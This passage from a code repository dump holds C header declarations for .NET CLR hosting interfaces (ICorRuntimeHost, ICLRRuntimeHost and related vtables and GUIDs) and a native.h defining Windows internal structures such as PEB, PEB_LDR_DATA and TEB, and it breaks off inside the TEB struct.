26 | #define __IGCHostControl_FWD_DEFINED__
27 | typedef interface IGCHostControl IGCHostControl;
28 | #ifdef __cplusplus
29 | interface IGCHostControl;
30 | #endif
31 | #endif
32 |
33 | #ifndef __IDebuggerThreadControl_FWD_DEFINED__
34 | #define __IDebuggerThreadControl_FWD_DEFINED__
35 | typedef interface IDebuggerThreadControl IDebuggerThreadControl;
36 | #ifdef __cplusplus
37 | interface IDebuggerThreadControl;
38 | #endif
39 | #endif
40 |
41 | #ifndef __ICorConfiguration_FWD_DEFINED__
42 | #define __ICorConfiguration_FWD_DEFINED__
43 | typedef interface ICorConfiguration ICorConfiguration;
44 | #ifdef __cplusplus
45 | interface ICorConfiguration;
46 | #endif
47 | #endif
48 |
49 | #ifndef __ICLRControl_FWD_DEFINED__
50 | #define __ICLRControl_FWD_DEFINED__
51 | typedef interface ICLRControl ICLRControl;
52 | #ifdef __cplusplus
53 | interface ICLRControl;
54 | #endif
55 | #endif
56 |
57 | #ifndef __IHostControl_FWD_DEFINED__
58 | #define __IHostControl_FWD_DEFINED__
59 | typedef interface IHostControl IHostControl;
60 | #ifdef __cplusplus
61 | interface IHostControl;
62 | #endif
63 | #endif
64 |
65 | #ifndef __ICorRuntimeHost_FWD_DEFINED__
66 | #define __ICorRuntimeHost_FWD_DEFINED__
67 | typedef interface ICorRuntimeHost ICorRuntimeHost;
68 | #ifdef __cplusplus
69 | interface ICorRuntimeHost;
70 | #endif
71 | #endif
72 |
73 | #ifndef __ICLRRuntimeHost_FWD_DEFINED__
74 | #define __ICLRRuntimeHost_FWD_DEFINED__
75 | typedef interface ICLRRuntimeHost ICLRRuntimeHost;
76 | #ifdef __cplusplus
77 | interface ICLRRuntimeHost;
78 | #endif
79 | #endif
80 |
81 | #ifndef __IManagedObject_FWD_DEFINED__
82 | #define __IManagedObject_FWD_DEFINED__
83 | typedef interface IManagedObject IManagedObject;
84 | #ifdef __cplusplus
85 | interface IManagedObject;
86 | #endif
87 | #endif
88 |
89 | #include
90 |
91 | HRESULT WINAPI CorBindToRuntimeHost(LPCWSTR,LPCWSTR,LPCWSTR,VOID*,DWORD,REFCLSID,REFIID,LPVOID*);
92 | void WINAPI CorExitProcess(int);
93 | HRESULT WINAPI GetCORSystemDirectory(LPWSTR,DWORD,DWORD*);
94 | HRESULT WINAPI GetCORVersion(LPWSTR,DWORD,DWORD*);
95 | HRESULT WINAPI GetRequestedRuntimeInfo(LPCWSTR,LPCWSTR,LPCWSTR,DWORD,DWORD,LPWSTR,DWORD,DWORD*,LPWSTR,DWORD,DWORD*);
96 | HRESULT WINAPI LoadLibraryShim(LPCWSTR,LPCWSTR,LPVOID,HMODULE*);
97 | #ifdef WINE_STRICT_PROTOTYPES
98 | typedef HRESULT (__stdcall *FLockClrVersionCallback)(void);
99 | #else
100 | typedef HRESULT (__stdcall *FLockClrVersionCallback)();
101 | #endif
102 | HRESULT WINAPI LockClrVersion(FLockClrVersionCallback,FLockClrVersionCallback*,FLockClrVersionCallback*);
103 | typedef void *HDOMAINENUM;
104 | typedef enum RUNTIME_INFO_FLAGS {
105 | RUNTIME_INFO_UPGRADE_VERSION = 0x1,
106 | RUNTIME_INFO_REQUEST_IA64 = 0x2,
107 | RUNTIME_INFO_REQUEST_AMD64 = 0x4,
108 | RUNTIME_INFO_REQUEST_X86 = 0x8,
109 | RUNTIME_INFO_DONT_RETURN_DIRECTORY = 0x10,
110 | RUNTIME_INFO_DONT_RETURN_VERSION = 0x20,
111 | RUNTIME_INFO_DONT_SHOW_ERROR_DIALOG = 0x40
112 | } RUNTIME_INFO_FLAGS;
113 | typedef HRESULT (__stdcall *FExecuteInAppDomainCallback)(void *cookie);
114 | /*****************************************************************************
115 | * IGCThreadControl interface
116 | */
117 | #ifndef __IGCThreadControl_INTERFACE_DEFINED__
118 | #define __IGCThreadControl_INTERFACE_DEFINED__
119 |
120 | DEFINE_GUID(IID_IGCThreadControl, 0xf31d1788, 0xc397, 0x4725, 0x87,0xa5, 0x6a,0xf3,0x47,0x2c,0x27,0x91);
121 |
122 | typedef struct IGCThreadControlVtbl {
123 | BEGIN_INTERFACE
124 |
125 |
126 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
127 | IGCThreadControl *This,
128 | REFIID riid,
129 | void **ppvObject);
130 |
131 | ULONG (STDMETHODCALLTYPE *AddRef)(
132 | IGCThreadControl *This);
133 |
134 | ULONG (STDMETHODCALLTYPE *Release)(
135 | IGCThreadControl *This);
136 |
137 |
138 | HRESULT (STDMETHODCALLTYPE *ThreadIsBlockingForSuspension)(
139 | IGCThreadControl *This);
140 |
141 | HRESULT (STDMETHODCALLTYPE *SuspensionStarting)(
142 | IGCThreadControl *This);
143 |
144 | HRESULT (STDMETHODCALLTYPE *SuspensionEnding)(
145 | IGCThreadControl *This,
146 | DWORD generation);
147 |
148 | END_INTERFACE
149 | } IGCThreadControlVtbl;
150 |
151 | interface IGCThreadControl {
152 | CONST_VTBL IGCThreadControlVtbl* lpVtbl;
153 | };
154 |
155 | #endif
156 |
157 | /*****************************************************************************
158 | * IGCHostControl interface
159 | */
160 | #ifndef __IGCHostControl_INTERFACE_DEFINED__
161 | #define __IGCHostControl_INTERFACE_DEFINED__
162 |
163 | DEFINE_GUID(IID_IGCHostControl, 0x5513d564, 0x8374, 0x4cb9, 0xae,0xd9, 0x00,0x83,0xf4,0x16,0x0a,0x1d);
164 |
165 | typedef struct IGCHostControlVtbl {
166 | BEGIN_INTERFACE
167 |
168 |
169 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
170 | IGCHostControl *This,
171 | REFIID riid,
172 | void **ppvObject);
173 |
174 | ULONG (STDMETHODCALLTYPE *AddRef)(
175 | IGCHostControl *This);
176 |
177 | ULONG (STDMETHODCALLTYPE *Release)(
178 | IGCHostControl *This);
179 |
180 |
181 | HRESULT (STDMETHODCALLTYPE *RequestVirtualMemLimit)(
182 | IGCHostControl *This,
183 | SIZE_T nMaxVirtualMemMB,
184 | SIZE_T *nNewMaxVirtualMemMB);
185 |
186 | END_INTERFACE
187 | } IGCHostControlVtbl;
188 |
189 | interface IGCHostControl {
190 | CONST_VTBL IGCHostControlVtbl* lpVtbl;
191 | };
192 |
193 | #endif
194 |
195 | /*****************************************************************************
196 | * IDebuggerThreadControl interface
197 | */
198 | #ifndef __IDebuggerThreadControl_INTERFACE_DEFINED__
199 | #define __IDebuggerThreadControl_INTERFACE_DEFINED__
200 |
201 | DEFINE_GUID(IID_IDebuggerThreadControl, 0x23d86786, 0x0bb5, 0x4774, 0x8f,0xb5, 0xe3,0x52,0x2a,0xdd,0x62,0x46);
202 |
203 | typedef struct IDebuggerThreadControlVtbl {
204 | BEGIN_INTERFACE
205 |
206 |
207 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
208 | IDebuggerThreadControl *This,
209 | REFIID riid,
210 | void **ppvObject);
211 |
212 | ULONG (STDMETHODCALLTYPE *AddRef)(
213 | IDebuggerThreadControl *This);
214 |
215 | ULONG (STDMETHODCALLTYPE *Release)(
216 | IDebuggerThreadControl *This);
217 |
218 |
219 | HRESULT (STDMETHODCALLTYPE *ThreadIsBlockingForDebugger)(
220 | IDebuggerThreadControl *This);
221 |
222 | HRESULT (STDMETHODCALLTYPE *ReleaseAllRuntimeThreads)(
223 | IDebuggerThreadControl *This);
224 |
225 | HRESULT (STDMETHODCALLTYPE *StartBlockingForDebugger)(
226 | IDebuggerThreadControl *This,
227 | DWORD dwUnused);
228 |
229 | END_INTERFACE
230 | } IDebuggerThreadControlVtbl;
231 |
232 | interface IDebuggerThreadControl {
233 | CONST_VTBL IDebuggerThreadControlVtbl* lpVtbl;
234 | };
235 |
236 | #endif
237 |
238 | /*****************************************************************************
239 | * ICorConfiguration interface
240 | */
241 | #ifndef __ICorConfiguration_INTERFACE_DEFINED__
242 | #define __ICorConfiguration_INTERFACE_DEFINED__
243 |
244 | DEFINE_GUID(IID_ICorConfiguration, 0x5c2b07a5, 0x1e98, 0x11d3, 0x87,0x2f, 0x00,0xc0,0x4f,0x79,0xed,0x0d);
245 |
246 | typedef struct ICorConfigurationVtbl {
247 | BEGIN_INTERFACE
248 |
249 |
250 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
251 | ICorConfiguration *This,
252 | REFIID riid,
253 | void **ppvObject);
254 |
255 | ULONG (STDMETHODCALLTYPE *AddRef)(
256 | ICorConfiguration *This);
257 |
258 | ULONG (STDMETHODCALLTYPE *Release)(
259 | ICorConfiguration *This);
260 |
261 |
262 | HRESULT (STDMETHODCALLTYPE *SetGCThreadControl)(
263 | ICorConfiguration *This,
264 | IGCThreadControl *GCThreadControl);
265 |
266 | HRESULT (STDMETHODCALLTYPE *SetGCHostControl)(
267 | ICorConfiguration *This,
268 | IGCHostControl *GCHostControl);
269 |
270 | HRESULT (STDMETHODCALLTYPE *SetDebuggerThreadControl)(
271 | ICorConfiguration *This,
272 | IDebuggerThreadControl *debuggerThreadControl);
273 |
274 | HRESULT (STDMETHODCALLTYPE *AddDebuggerSpecialThread)(
275 | ICorConfiguration *This,
276 | DWORD specialThreadId);
277 |
278 | END_INTERFACE
279 | } ICorConfigurationVtbl;
280 |
281 | interface ICorConfiguration {
282 | CONST_VTBL ICorConfigurationVtbl* lpVtbl;
283 | };
284 |
285 | #endif
286 |
287 | /*****************************************************************************
288 | * ICLRControl interface
289 | */
290 | #ifndef __ICLRControl_INTERFACE_DEFINED__
291 | #define __ICLRControl_INTERFACE_DEFINED__
292 |
293 | DEFINE_GUID(IID_ICLRControl, 0x9065597e, 0xd1a1, 0x4fb2, 0xb6,0xba, 0x7e,0x1f,0xce,0x23,0x0f,0x61);
294 |
295 | typedef struct ICLRControlVtbl {
296 | BEGIN_INTERFACE
297 |
298 |
299 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
300 | ICLRControl *This,
301 | REFIID riid,
302 | void **ppvObject);
303 |
304 | ULONG (STDMETHODCALLTYPE *AddRef)(
305 | ICLRControl *This);
306 |
307 | ULONG (STDMETHODCALLTYPE *Release)(
308 | ICLRControl *This);
309 |
310 |
311 | HRESULT (STDMETHODCALLTYPE *GetCLRManager)(
312 | ICLRControl *This,
313 | REFIID riid,
314 | void **ppObject);
315 |
316 | HRESULT (STDMETHODCALLTYPE *SetAppDomainManagerType)(
317 | ICLRControl *This,
318 | LPCWSTR appDomainManagerAssembly,
319 | LPCWSTR appDomainManagerType);
320 |
321 | END_INTERFACE
322 | } ICLRControlVtbl;
323 |
324 | interface ICLRControl {
325 | CONST_VTBL ICLRControlVtbl* lpVtbl;
326 | };
327 |
328 | #endif
329 |
330 | /*****************************************************************************
331 | * IHostControl interface
332 | */
333 | #ifndef __IHostControl_INTERFACE_DEFINED__
334 | #define __IHostControl_INTERFACE_DEFINED__
335 |
336 | DEFINE_GUID(IID_IHostControl, 0x02ca073c, 0x7079, 0x4860, 0x88,0x0a, 0xc2,0xf7,0xa4,0x49,0xc9,0x91);
337 |
338 | typedef struct IHostControlVtbl {
339 | BEGIN_INTERFACE
340 |
341 |
342 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
343 | IHostControl *This,
344 | REFIID riid,
345 | void **ppvObject);
346 |
347 | ULONG (STDMETHODCALLTYPE *AddRef)(
348 | IHostControl *This);
349 |
350 | ULONG (STDMETHODCALLTYPE *Release)(
351 | IHostControl *This);
352 |
353 |
354 | HRESULT (STDMETHODCALLTYPE *GetHostManager)(
355 | IHostControl *This,
356 | REFIID riid,
357 | void **ppObject);
358 |
359 | HRESULT (STDMETHODCALLTYPE *SetAppDomainManager)(
360 | IHostControl *This,
361 | DWORD appDomainID,
362 | IUnknown *appDomainManager);
363 |
364 | END_INTERFACE
365 | } IHostControlVtbl;
366 |
367 | interface IHostControl {
368 | CONST_VTBL IHostControlVtbl* lpVtbl;
369 | };
370 |
371 | #endif
372 |
373 | DEFINE_GUID(CLSID_CorRuntimeHost, 0xcb2f6723,0xab3a,0x11d2,0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e);
374 | /*****************************************************************************
375 | * ICorRuntimeHost interface
376 | */
377 | #ifndef __ICorRuntimeHost_INTERFACE_DEFINED__
378 | #define __ICorRuntimeHost_INTERFACE_DEFINED__
379 |
380 | DEFINE_GUID(IID_ICorRuntimeHost, 0xcb2f6722, 0xab3a, 0x11d2, 0x9c,0x40, 0x00,0xc0,0x4f,0xa3,0x0a,0x3e);
381 |
382 | typedef struct ICorRuntimeHostVtbl {
383 | BEGIN_INTERFACE
384 |
385 |
386 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
387 | ICorRuntimeHost *This,
388 | REFIID riid,
389 | void **ppvObject);
390 |
391 | ULONG (STDMETHODCALLTYPE *AddRef)(
392 | ICorRuntimeHost *This);
393 |
394 | ULONG (STDMETHODCALLTYPE *Release)(
395 | ICorRuntimeHost *This);
396 |
397 |
398 | HRESULT (STDMETHODCALLTYPE *CreateLogicalThreadState)(
399 | ICorRuntimeHost *This);
400 |
401 | HRESULT (STDMETHODCALLTYPE *DeleteLogicalThreadState)(
402 | ICorRuntimeHost *This);
403 |
404 | HRESULT (STDMETHODCALLTYPE *SwitchInLogicalThreadState)(
405 | ICorRuntimeHost *This,
406 | DWORD *fiberCookie);
407 |
408 | HRESULT (STDMETHODCALLTYPE *SwitchOutLogicalThreadState)(
409 | ICorRuntimeHost *This,
410 | DWORD **fiberCookie);
411 |
412 | HRESULT (STDMETHODCALLTYPE *LocksHeldByLogicalThread)(
413 | ICorRuntimeHost *This,
414 | DWORD *pCount);
415 |
416 | HRESULT (STDMETHODCALLTYPE *MapFile)(
417 | ICorRuntimeHost *This,
418 | HANDLE hFile,
419 | HMODULE *mapAddress);
420 |
421 | HRESULT (STDMETHODCALLTYPE *GetConfiguration)(
422 | ICorRuntimeHost *This,
423 | ICorConfiguration **pConfiguration);
424 |
425 | HRESULT (STDMETHODCALLTYPE *Start)(
426 | ICorRuntimeHost *This);
427 |
428 | HRESULT (STDMETHODCALLTYPE *Stop)(
429 | ICorRuntimeHost *This);
430 |
431 | HRESULT (STDMETHODCALLTYPE *CreateDomain)(
432 | ICorRuntimeHost *This,
433 | LPCWSTR friendlyName,
434 | IUnknown *identityArray,
435 | IUnknown **appDomain);
436 |
437 | HRESULT (STDMETHODCALLTYPE *GetDefaultDomain)(
438 | ICorRuntimeHost *This,
439 | IUnknown **pAppDomain);
440 |
441 | HRESULT (STDMETHODCALLTYPE *EnumDomains)(
442 | ICorRuntimeHost *This,
443 | HDOMAINENUM *hEnum);
444 |
445 | HRESULT (STDMETHODCALLTYPE *NextDomain)(
446 | ICorRuntimeHost *This,
447 | HDOMAINENUM hEnum,
448 | IUnknown **appDomain);
449 |
450 | HRESULT (STDMETHODCALLTYPE *CloseEnum)(
451 | ICorRuntimeHost *This,
452 | HDOMAINENUM hEnum);
453 |
454 | HRESULT (STDMETHODCALLTYPE *CreateDomainEx)(
455 | ICorRuntimeHost *This,
456 | LPCWSTR friendlyName,
457 | IUnknown *setup,
458 | IUnknown *evidence,
459 | IUnknown **appDomain);
460 |
461 | HRESULT (STDMETHODCALLTYPE *CreateDomainSetup)(
462 | ICorRuntimeHost *This,
463 | IUnknown **appDomainSetup);
464 |
465 | HRESULT (STDMETHODCALLTYPE *CreateEvidence)(
466 | ICorRuntimeHost *This,
467 | IUnknown **evidence);
468 |
469 | HRESULT (STDMETHODCALLTYPE *UnloadDomain)(
470 | ICorRuntimeHost *This,
471 | IUnknown *appDomain);
472 |
473 | HRESULT (STDMETHODCALLTYPE *CurrentDomain)(
474 | ICorRuntimeHost *This,
475 | IUnknown **appDomain);
476 |
477 | END_INTERFACE
478 | } ICorRuntimeHostVtbl;
479 |
480 | interface ICorRuntimeHost {
481 | CONST_VTBL ICorRuntimeHostVtbl* lpVtbl;
482 | };
483 |
484 | #endif
485 |
486 | DEFINE_GUID(CLSID_CLRRuntimeHost, 0x90f1a06e,0x7712,0x4762,0x86,0xb5,0x7a,0x5e,0xba,0x6b,0xdb,0x02);
487 | /*****************************************************************************
488 | * ICLRRuntimeHost interface
489 | */
490 | #ifndef __ICLRRuntimeHost_INTERFACE_DEFINED__
491 | #define __ICLRRuntimeHost_INTERFACE_DEFINED__
492 |
493 | DEFINE_GUID(IID_ICLRRuntimeHost, 0x90f1a06c, 0x7712, 0x4762, 0x86,0xb5, 0x7a,0x5e,0xba,0x6b,0xdb,0x02);
494 |
495 | typedef struct ICLRRuntimeHostVtbl {
496 | BEGIN_INTERFACE
497 |
498 |
499 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
500 | ICLRRuntimeHost *This,
501 | REFIID riid,
502 | void **ppvObject);
503 |
504 | ULONG (STDMETHODCALLTYPE *AddRef)(
505 | ICLRRuntimeHost *This);
506 |
507 | ULONG (STDMETHODCALLTYPE *Release)(
508 | ICLRRuntimeHost *This);
509 |
510 |
511 | HRESULT (STDMETHODCALLTYPE *Start)(
512 | ICLRRuntimeHost *This);
513 |
514 | HRESULT (STDMETHODCALLTYPE *Stop)(
515 | ICLRRuntimeHost *This);
516 |
517 | HRESULT (STDMETHODCALLTYPE *SetHostControl)(
518 | ICLRRuntimeHost *This,
519 | IHostControl *pHostControl);
520 |
521 | HRESULT (STDMETHODCALLTYPE *GetCLRControl)(
522 | ICLRRuntimeHost *This,
523 | ICLRControl **pCLRControl);
524 |
525 | HRESULT (STDMETHODCALLTYPE *UnloadAppDomain)(
526 | ICLRRuntimeHost *This,
527 | DWORD dwAppDomainId,
528 | WINBOOL fWaitUntilDone);
529 |
530 | HRESULT (STDMETHODCALLTYPE *ExecuteInAppDomain)(
531 | ICLRRuntimeHost *This,
532 | DWORD dwAppDomainId,
533 | FExecuteInAppDomainCallback pCallback,
534 | void *cookie);
535 |
536 | HRESULT (STDMETHODCALLTYPE *GetCurrentAppDomainId)(
537 | ICLRRuntimeHost *This,
538 | DWORD *pdwAppDomainId);
539 |
540 | HRESULT (STDMETHODCALLTYPE *ExecuteApplication)(
541 | ICLRRuntimeHost *This,
542 | LPCWSTR pwzAppFullName,
543 | DWORD dwManifestPaths,
544 | LPCWSTR *ppwzManifestPaths,
545 | DWORD dwActivationData,
546 | LPCWSTR *ppwzActivationData,
547 | int *pReturnValue);
548 |
549 | HRESULT (STDMETHODCALLTYPE *ExecuteInDefaultAppDomain)(
550 | ICLRRuntimeHost *This,
551 | LPCWSTR pwzAssemblyPath,
552 | LPCWSTR pwzTypeName,
553 | LPCWSTR pwzMethodName,
554 | LPCWSTR pwzArgument,
555 | DWORD *pReturnValue);
556 |
557 | END_INTERFACE
558 | } ICLRRuntimeHostVtbl;
559 |
560 | interface ICLRRuntimeHost {
561 | CONST_VTBL ICLRRuntimeHostVtbl* lpVtbl;
562 | };
563 |
564 | #endif
565 |
566 | /*****************************************************************************
567 | * IManagedObject interface
568 | */
569 | #ifndef __IManagedObject_INTERFACE_DEFINED__
570 | #define __IManagedObject_INTERFACE_DEFINED__
571 |
572 | DEFINE_GUID(IID_IManagedObject, 0xc3fcc19e, 0xa970, 0x11d2, 0x8b,0x5a, 0x00,0xa0,0xc9,0xb7,0xc9,0xc4);
573 |
574 | typedef struct IManagedObjectVtbl {
575 | BEGIN_INTERFACE
576 |
577 |
578 | HRESULT (STDMETHODCALLTYPE *QueryInterface)(
579 | IManagedObject *This,
580 | REFIID riid,
581 | void **ppvObject);
582 |
583 | ULONG (STDMETHODCALLTYPE *AddRef)(
584 | IManagedObject *This);
585 |
586 | ULONG (STDMETHODCALLTYPE *Release)(
587 | IManagedObject *This);
588 |
589 |
590 | HRESULT (STDMETHODCALLTYPE *GetSerializedBuffer)(
591 | IManagedObject *This,
592 | BSTR *pBSTR);
593 |
594 | HRESULT (STDMETHODCALLTYPE *GetObjectIdentity)(
595 | IManagedObject *This,
596 | BSTR *pBSTRGUID,
597 | int *AppDomainID,
598 | int *pCCW);
599 |
600 | END_INTERFACE
601 | } IManagedObjectVtbl;
602 |
603 | interface IManagedObject {
604 | CONST_VTBL IManagedObjectVtbl* lpVtbl;
605 | };
606 |
607 | #endif
608 |
609 | #endif
610 |
--------------------------------------------------------------------------------
/src/native.h:
--------------------------------------------------------------------------------
1 |
2 | typedef struct _UNICODE_STRING
3 | {
4 | USHORT Length;
5 | USHORT MaximumLength;
6 | PWSTR Buffer;
7 | } UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING;
8 | typedef const UNICODE_STRING *PCUNICODE_STRING;
9 |
10 | typedef void *PPS_POST_PROCESS_INIT_ROUTINE;
11 |
12 | typedef struct _RTL_USER_PROCESS_PARAMETERS {
13 | BYTE Reserved1[16];
14 | PVOID Reserved2[10];
15 | UNICODE_STRING ImagePathName;
16 | UNICODE_STRING CommandLine;
17 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
18 |
19 | #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED)
20 | #define ___PROCESSOR_NUMBER_DEFINED
21 | typedef struct _PROCESSOR_NUMBER {
22 | WORD Group;
23 | BYTE Number;
24 | BYTE Reserved;
25 | } PROCESSOR_NUMBER, *PPROCESSOR_NUMBER;
26 | #endif
27 |
28 | // PEB defined by rewolf
29 | // http://blog.rewolf.pl/blog/?p=573
30 | typedef struct _PEB_LDR_DATA {
31 | ULONG Length;
32 | BOOL Initialized;
33 | LPVOID SsHandle;
34 | LIST_ENTRY InLoadOrderModuleList;
35 | LIST_ENTRY InMemoryOrderModuleList;
36 | LIST_ENTRY InInitializationOrderModuleList;
37 | } PEB_LDR_DATA, *PPEB_LDR_DATA;
38 |
39 | typedef struct _LDR_DATA_TABLE_ENTRY
40 | {
41 | LIST_ENTRY InLoadOrderLinks;
42 | LIST_ENTRY InMemoryOrderLinks;
43 | LIST_ENTRY InInitializationOrderLinks;
44 | LPVOID DllBase;
45 | LPVOID EntryPoint;
46 | ULONG SizeOfImage;
47 | UNICODE_STRING FullDllName;
48 | UNICODE_STRING BaseDllName;
49 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
50 |
51 | typedef struct _PEB {
52 | BYTE InheritedAddressSpace;
53 | BYTE ReadImageFileExecOptions;
54 | BYTE BeingDebugged;
55 | BYTE _SYSTEM_DEPENDENT_01;
56 |
57 | LPVOID Mutant;
58 | LPVOID ImageBaseAddress;
59 |
60 | PPEB_LDR_DATA Ldr;
61 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
62 | LPVOID SubSystemData;
63 | LPVOID ProcessHeap;
64 | LPVOID FastPebLock;
65 | LPVOID _SYSTEM_DEPENDENT_02;
66 | LPVOID _SYSTEM_DEPENDENT_03;
67 | LPVOID _SYSTEM_DEPENDENT_04;
68 | union {
69 | LPVOID KernelCallbackTable;
70 | LPVOID UserSharedInfoPtr;
71 | };
72 | DWORD SystemReserved;
73 | DWORD _SYSTEM_DEPENDENT_05;
74 | LPVOID _SYSTEM_DEPENDENT_06;
75 | LPVOID TlsExpansionCounter;
76 | LPVOID TlsBitmap;
77 | DWORD TlsBitmapBits[2];
78 | LPVOID ReadOnlySharedMemoryBase;
79 | LPVOID _SYSTEM_DEPENDENT_07;
80 | LPVOID ReadOnlyStaticServerData;
81 | LPVOID AnsiCodePageData;
82 | LPVOID OemCodePageData;
83 | LPVOID UnicodeCaseTableData;
84 | DWORD NumberOfProcessors;
85 | union
86 | {
87 | DWORD NtGlobalFlag;
88 | LPVOID dummy02;
89 | };
90 | LARGE_INTEGER CriticalSectionTimeout;
91 | LPVOID HeapSegmentReserve;
92 | LPVOID HeapSegmentCommit;
93 | LPVOID HeapDeCommitTotalFreeThreshold;
94 | LPVOID HeapDeCommitFreeBlockThreshold;
95 | DWORD NumberOfHeaps;
96 | DWORD MaximumNumberOfHeaps;
97 | LPVOID ProcessHeaps;
98 | LPVOID GdiSharedHandleTable;
99 | LPVOID ProcessStarterHelper;
100 | LPVOID GdiDCAttributeList;
101 | LPVOID LoaderLock;
102 | DWORD OSMajorVersion;
103 | DWORD OSMinorVersion;
104 | WORD OSBuildNumber;
105 | WORD OSCSDVersion;
106 | DWORD OSPlatformId;
107 | DWORD ImageSubsystem;
108 | DWORD ImageSubsystemMajorVersion;
109 | LPVOID ImageSubsystemMinorVersion;
110 | union
111 | {
112 | LPVOID ImageProcessAffinityMask;
113 | LPVOID ActiveProcessAffinityMask;
114 | };
115 | #ifdef _WIN64
116 | LPVOID GdiHandleBuffer[64];
117 | #else
118 | LPVOID GdiHandleBuffer[32];
119 | #endif
120 | LPVOID PostProcessInitRoutine;
121 | LPVOID TlsExpansionBitmap;
122 | DWORD TlsExpansionBitmapBits[32];
123 | LPVOID SessionId;
124 | ULARGE_INTEGER AppCompatFlags;
125 | ULARGE_INTEGER AppCompatFlagsUser;
126 | LPVOID pShimData;
127 | LPVOID AppCompatInfo;
128 | PUNICODE_STRING CSDVersion;
129 | LPVOID ActivationContextData;
130 | LPVOID ProcessAssemblyStorageMap;
131 | LPVOID SystemDefaultActivationContextData;
132 | LPVOID SystemAssemblyStorageMap;
133 | LPVOID MinimumStackCommit;
134 | } PEB, *PPEB;
135 |
136 |
137 | typedef struct _CLIENT_ID {
138 | HANDLE UniqueProcess;
139 | HANDLE UniqueThread;
140 | } CLIENT_ID, *PCLIENT_ID;
141 |
142 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME *PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
143 | typedef struct _ACTIVATION_CONTEXT *PACTIVATION_CONTEXT;
144 | typedef struct _TEB_ACTIVE_FRAME *PTEB_ACTIVE_FRAME;
145 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT *PTEB_ACTIVE_FRAME_CONTEXT;
146 |
147 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
148 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME Previous;
149 | PACTIVATION_CONTEXT *ActivationContext;
150 | ULONG Flags;
151 | } RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
152 |
153 | typedef struct _ACTIVATION_CONTEXT_STACK
154 | {
155 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
156 | LIST_ENTRY FrameListCache;
157 | ULONG Flags;
158 | ULONG NextCookieSequenceNumber;
159 | ULONG StackId;
160 | } ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK;
161 | #define GDI_BATCH_BUFFER_SIZE 310
162 |
163 | typedef struct _GDI_TEB_BATCH
164 | {
165 | ULONG Offset;
166 | ULONG_PTR HDC;
167 | ULONG Buffer[GDI_BATCH_BUFFER_SIZE];
168 | } GDI_TEB_BATCH, *PGDI_TEB_BATCH;
169 |
170 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT
171 | {
172 | ULONG Flags;
173 | PSTR FrameName;
174 | } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
175 |
176 | typedef struct _TEB_ACTIVE_FRAME
177 | {
178 | ULONG Flags;
179 | struct _TEB_ACTIVE_FRAME *Previous;
180 | PTEB_ACTIVE_FRAME_CONTEXT Context;
181 | } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
182 |
183 | typedef struct _TEB
184 | {
185 | NT_TIB NtTib;
186 |
187 | PVOID EnvironmentPointer;
188 | CLIENT_ID ClientId;
189 | PVOID ActiveRpcHandle;
190 | PVOID ThreadLocalStoragePointer;
191 | PPEB ProcessEnvironmentBlock;
192 |
193 | ULONG LastErrorValue;
194 | ULONG CountOfOwnedCriticalSections;
195 | PVOID CsrClientThread;
196 | PVOID Win32ThreadInfo;
197 | ULONG User32Reserved[26];
198 | ULONG UserReserved[5];
199 | PVOID WOW32Reserved;
200 | LCID CurrentLocale;
201 | ULONG FpSoftwareStatusRegister;
202 | PVOID SystemReserved1[54];
203 | NTSTATUS ExceptionCode;
204 | PVOID ActivationContextStackPointer;
205 | #ifdef _M_X64
206 | UCHAR SpareBytes[24];
207 | #else
208 | UCHAR SpareBytes[36];
209 | #endif
210 | ULONG TxFsContext;
211 |
212 | GDI_TEB_BATCH GdiTebBatch;
213 | CLIENT_ID RealClientId;
214 | HANDLE GdiCachedProcessHandle;
215 | ULONG GdiClientPID;
216 | ULONG GdiClientTID;
217 | PVOID GdiThreadLocalInfo;
218 | ULONG_PTR Win32ClientInfo[62];
219 | PVOID glDispatchTable[233];
220 | ULONG_PTR glReserved1[29];
221 | PVOID glReserved2;
222 | PVOID glSectionInfo;
223 | PVOID glSection;
224 | PVOID glTable;
225 | PVOID glCurrentRC;
226 | PVOID glContext;
227 |
228 | NTSTATUS LastStatusValue;
229 | UNICODE_STRING StaticUnicodeString;
230 | WCHAR StaticUnicodeBuffer[261];
231 |
232 | PVOID DeallocationStack;
233 | PVOID TlsSlots[64];
234 | LIST_ENTRY TlsLinks;
235 |
236 | PVOID Vdm;
237 | PVOID ReservedForNtRpc;
238 | PVOID DbgSsReserved[2];
239 |
240 | ULONG HardErrorMode;
241 | #ifdef _M_X64
242 | PVOID Instrumentation[11];
243 | #else
244 | PVOID Instrumentation[9];
245 | #endif
246 | GUID ActivityId;
247 |
248 | PVOID SubProcessTag;
249 | PVOID EtwLocalData;
250 | PVOID EtwTraceData;
251 | PVOID WinSockData;
252 | ULONG GdiBatchCount;
253 |
254 | union
255 | {
256 | PROCESSOR_NUMBER CurrentIdealProcessor;
257 | ULONG IdealProcessorValue;
258 | struct
259 | {
260 | UCHAR ReservedPad0;
261 | UCHAR ReservedPad1;
262 | UCHAR ReservedPad2;
263 | UCHAR IdealProcessor;
264 | };
265 | };
266 |
267 | ULONG GuaranteedStackBytes;
